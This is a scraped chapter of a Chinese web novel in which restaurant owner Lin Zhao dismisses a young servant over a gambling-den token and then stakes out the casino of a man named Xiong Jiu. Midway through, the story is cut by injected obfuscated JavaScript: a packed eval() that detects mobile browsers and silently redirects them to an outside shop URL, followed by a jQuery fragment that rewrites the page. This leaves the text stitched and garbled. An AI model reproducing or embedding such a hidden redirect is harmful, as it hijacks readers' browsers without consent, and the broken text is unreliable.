42. 进去玩两把
作品:《我带全班穿进了宅斗文》 铺子里的人都没见过这玩意,更别提后面刻的是什么字了。
林昭准备拿着这东西去问一下陆青辞。
她从铺子走出去,碰到了隔壁嗑瓜子的王老板。
王老板优哉游哉地扇着扇子,看她行色匆匆,笑道:“林老板去哪啊?”
“有急事。”
“呦?”
王老板眼尖,看到她掌心攥着的玉牌,根本没看到上面的字,似乎就认出来了。
“林老板没事也喜欢玩一把啊?”
“什么?”
林昭一顿,拿出手里的玉牌:“你认识这东西?”
“当然认识了,南市赌坊的玉牌,去玩过的人都认识,只发给常客的。”
王老板笑嘻嘻地打量着她:“看不出来啊,林老板还喜欢玩这些?”
“不是我的,你帮我看看,上面的字是什么?”
林昭递给他,王老板一眼就认出来了。
“这是个‘熊’字,应该是那个地下赌坊的老板熊九的,你怎么会跟他搭上线,难不成输钱了?”
熊九?
林昭根本不认识这个人。
她眼珠子转了转,笑着摆手:“怎么可能,这是我捡到的,估计是哪个客官落下了。”
“嗨,我就说呢,你一个小姑娘,也不像是爱赌的人。”王老板继续嗑瓜子打发时间。
林昭大拇指摩挲着玉牌,忖度了一下,当机立断就回到铺子里找小秋。
小秋一个十岁的小姑娘,拿着赌坊的玉牌也太奇怪了,说不定就是她泄露的消息。
林昭走到后厨,趁着大伙都在,有个见证。
“小秋,这是你的东西吗?”
正在洗菜的小秋一愣,心慌意乱地放下白菜,手指在身上的围兜上蹭了蹭。
“这个......”
“你最好实话实说,要不然我们可要报官了。”
林昭就是吓唬她一下。
小秋直接脸色煞白,仓皇解释:“确实是我的,但是我真的没有出卖店里的消息啊。”
闻言,小春她们看她的眼神都变了,纷纷站到林昭这边。
小秋被她们的举动刺到,无措地站在原地。
段承泽目瞪口呆,手里的锅铲都停了。他没想到一个小姑娘,还真的跟泄露信息扯上关系了?
林昭:“你跟这个玉牌的主人怎么认识的?你们聊了什么?”
“是一个叫熊九的人找的我,他想问出铺子里的菜怎么做的,还给了我一笔钱,我没收,我真的没收,然后他就给了我这个玉牌,说是想好了可以随时去南市找他。”
“这是什么时候的事情?”
“就前几天。”
小秋总归是个小姑娘,被质问得眼眶发红,声音都哽咽了。
乔鸢:“你没交出这个东西给我们,就说明你还是有出卖的心思的是吧?”
“我、我......”
小秋说不出话来,她确实动过念头,毕竟穷怕了,对方可是给了她足足二十两银子。
她拒绝之后总是在夜里想起那二十两,可她又不愿意愧对于林昭,所以总是辗转反侧。
“小秋,是我对你不好吗,你为什么要这样?”林昭眼底有些失望。
“掌柜的,我确实是有过念头,但我真的没说出关于菜的事情。”
可惜一个人一旦有了污点,她说的话可信度就会大打折扣。
几人都用怀疑的目光看着小秋。
小秋捏紧衣摆,无助地上前拽住林昭的手腕。
“掌柜的,你再给我一次机会吧,我其实都打算把这个玉牌丢掉了,我真的没想背叛你。”
林昭叹了一口气。
疑人不用,用人不疑。
她现在已经不能用信任的眼光看小秋了。
林昭抽回手:“小秋,把如意酒楼的腰牌还给我,一会你找账房先生结算一下这个月的月银吧。”
小秋整个人僵住,难道她又要被卖掉了吗?
她难以置信地看着林昭。
“掌柜的,为什么不再给我一次机会?你为什么这么偏心?”
“我何时偏心过?”
“我们四个人,你就只喜欢小夏,就因为她会做糕点,能给你带来营收吗?我干活也很努力,平时我是最晚睡的一个,可你从来没夸过我。”
小秋将心底积攒的埋怨都发泄出来,她就是因为这些事情,才让她有些犹豫。
曾几何时,她把林昭当作自己的救世主一样。
她也想做店内最好的员工,受到林昭的夸赞,想让她的目光在自己身上停留几分。
凭什么就是不行呢?
凭什么她只欣赏小夏呢?
林昭皱眉,原来人不患寡而患不均,这个道理处处都适用。
“你的努力我都看在眼里,我没有夸赞你,不代表你做得不够好。我把你们带回来的时候就已经将你们看作一家人,可是现在呢,你是怎么对我的?”
“那如果今天拿玉牌的人是小夏,你还会赶她走吗?”
“无论是谁,背叛我的人,我都不会留下。”
林昭朝她伸手。
小秋愤愤地将腰间刻着如意酒楼的腰牌递给她。
林昭拿的时候,小秋还有些不舍,攥得有些紧。
小小的掌心一空,小秋眼底的泪水忍不住落下。
“掌柜的,你可以打我骂我,怎么惩罚我都行,能不能别把我卖掉?我是真的把如意酒楼当成是自己的家了......”
“我不会卖你,你拿了钱就走吧,日后你跟我的铺子就没有关系了。”
林昭来到柜台前,将她的卖身契拿出来。
钱默把这个月的三百五十文给小秋,她还未做满这个月,这是她七月的月银。
卖身契归还到小秋手上,她还可以去别的地方找活干,但多半都不会是什么好地方。
小姑娘在这个吃人不吐骨头的时代最容易被欺负。
林昭也不愿思考她的后路,既然做错了事情,就应该承担结果才对。
因果自负。
小秋抖着手拿着卖身契,眼泪不停地落下。
“掌柜的,我真的知错了,你别赶我走。”
“......”
林昭转过身,不再看她。
事已成定局,小秋擦了擦眼泪。
没过一会,瘦小的身影不甘心地走了,一步三回头。
店内一片沉寂。
还好这会没有客人,要不然大家都会一边嗑瓜子一边看热闹。
剩余的员工眼巴巴地看着林昭。
段承泽他们没有开口求情,毕竟开酒楼的辛苦,他们都眼睁睁经历过来的,现在辛苦白费了,总得有人负责。
剩余的几个小姑娘更不必说,她们本就是奴婢,哪有资格开口留人。
林昭深呼吸一口气:“你们听好了,我从来没有亏待过哪个员工,如果你们觉得不满可以找我谈谈,但不准在背后搞小动作。”
“如若下次再被我发现这种背叛的事情,那后果不会像今天只是赶出铺子这么轻松了。”
林昭的声音有些冷。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006468|191635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她今日必须杀鸡儆猴,毕竟无规矩不成方圆。
“是!”几人纷纷点头。
红莲眼圈有些湿润,她总觉得是自己害了小秋,但她也不敢上前求情,毕竟小秋真的有嫌疑。
人群散去,大家继续忙自己的。
红莲跟在林昭后面,声音很低:“对不起,掌柜的,如果我早点说出来就好了。”
“无事,你们以后注意,如果陌生人找上你们,你们小心点,千万别被骗了。”
“好的,掌柜的。”
林昭心情有些不好,毕竟谁都不想被自己的狗咬一口。
她郁闷得坐在柜台前数银子。
今日生意不好,收益少得可怜。
林昭看着那可怜的些许铜板,心情更差了。
钱默小心翼翼开口:“班长,早上我和段二去找过小乞丐他们了,大虎二虎说没见过可疑的人,至于其他乞丐就不清楚了。”
林昭点头。
乞丐们每天四处流窜,泄露点什么,他们也查不出来。
小秋是她们发现的早,还不知道小秋透露了多少信息出去。
她一个年幼的小姑娘,可能无意识间说了什么重要事情都不知道。
看来以后用人更得小心点了。
林昭摩挲着手里的玉牌,心底有种说不出来的感觉。
乔鸢给她泡了一壶花茶:“木木,你别想了,开店铺和闯江湖一样,什么人都能碰到的。”
“嗯,我只是觉得,这件事有点说不出来的奇怪。”
钱默:“什么意思?”
“出卖黑胡椒这件事,我们刚发现,立刻就查到了是谁出卖的,这也太容易了。而且刚刚赶走小秋时,她还是没有承认自己泄露了什么......”
林昭皱眉,思索着会不会泄露信息的不止一个人呢?
乔鸢:“可能那些人就是没什么头脑呢,而且商战嘛,就是一个简单粗暴。”
“说得也是。”林昭叹了一口气:“反正今日生意不好,咱们晚上去会会这个熊九,看他到底是谁的手下。”
“成!”
-
深夜,街边的店铺都点燃灯笼。
越往南市走,这边的灯笼就越少。
因为这里赌坊和歌伎舞馆很多,一部分非法经营的店铺都不会点灯笼,来交易都要对暗号。
段承泽一听说要来赌坊,整个人跟打了鸡血似的,眼神都不困了。
结果到了赌坊附近,四个人只是蹲守,根本不进去。
段承泽急得团团转:“班长,不入虎穴焉得虎子,不如咱们进去瞧瞧吧?玩两把说不定还能赢点钱呢。”
乔鸢翻了个白眼:“你小心进去之后出不来,被做局输了钱,到时候可是要被砍手指的。”
“什么?那可不行。”
段承泽捂住自己的手,他这手可金贵着呢,还得做天下第一大厨的。
几人蹲到深夜十二点,乔鸢都有些撑不住了,眼皮子一直打架。
段承泽为了给她提神,故意讲鬼故事给她听。
乔鸢:“你能不能闭嘴?”
段承泽一脸无辜:“什么?我一直没说话啊!”
乔鸢:“那刚刚的故事是鬼讲的。”
“讲什么了?就你一个人听到了?你不会被鬼缠上了吧?”他还故意吹了一口凉气。
乔鸢脊背发凉:“段二,你给我死开!”
大半夜的,她本来就发怵,这人还在逗她。
两人拌嘴不过几句,又开始动手了。
倏地,地下赌坊的门开了。

